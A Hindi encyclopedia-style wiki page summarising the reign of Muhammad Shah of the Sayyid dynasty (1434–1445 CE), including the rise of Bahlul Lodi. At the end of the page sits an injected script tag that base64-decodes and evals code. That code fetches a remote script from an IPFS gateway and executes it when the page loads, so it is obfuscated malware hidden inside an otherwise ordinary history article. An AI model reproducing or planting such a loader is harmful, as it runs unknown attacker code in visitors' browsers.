एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

मुहम्मदशाह

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
  • मुबारक शाह के बाद दिल्ली की गद्दी पर मुबारक शाह का भतीजा 'मुहम्मद बिन फ़रीद ख़ाँ' मुहम्मदशाह (1434-1445 ई.) के नाम से गद्दी पर बैठा।
  • उसके शासन काल के 6 महीने उसके वज़ीर 'सरवर-उल-मुल्क' के आधिपत्य में बीते।
  • परन्तु छः महीने उपरान्त ही सुल्तान ने अपने नायब सेनापति 'कमाल-उल-मुल्क' के सहयोग से वज़ीर का वध करवा दिया।
  • वज़ीर के प्रभाव से मुक्त होने के तुरन्त बाद मालवा के शासक महमूद द्वारा दिल्ली पर आक्रमण कर दिया गया।
  • मुल्तान में लंगाओं ने विद्रोह किया, जिसे सुल्तान ने स्वंय जाकर शांत किया।
  • मुहम्मदशाह मुल्तान के सूबेदार बहलोल लोदी की सहायता द्वारा महमूद को वापस खदेड़ने में सफल रहा।
  • मुहम्मदशाह ने खुश होकर बहलोल लोदी को ‘ख़ान-ए-ख़ाना’ की उपाधि दी और साथ ही उसे अपना पुत्र कहकर पुकारा।
  • इसके समय की प्रमुख घटना रही - बहलोल लोदी का उत्थान।
  • बहलोल लोदी ने भी दिल्ली पर आक्रमण किया, परन्तु वह असफल रहा।
  • अपने अन्तिम समय में हुए विद्रोह को दबाने में मुहम्मदशाह असमर्थ रहा। अतः अधिकांश राज्यों ने अपने को स्वतंत्र कर लिया।
  • 1445 ई. में मुहम्मदशाह की मृत्यु हो गई। उसकी मृत्यु के साथ ही सैयद वंश पतन की ओर अग्रसर हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>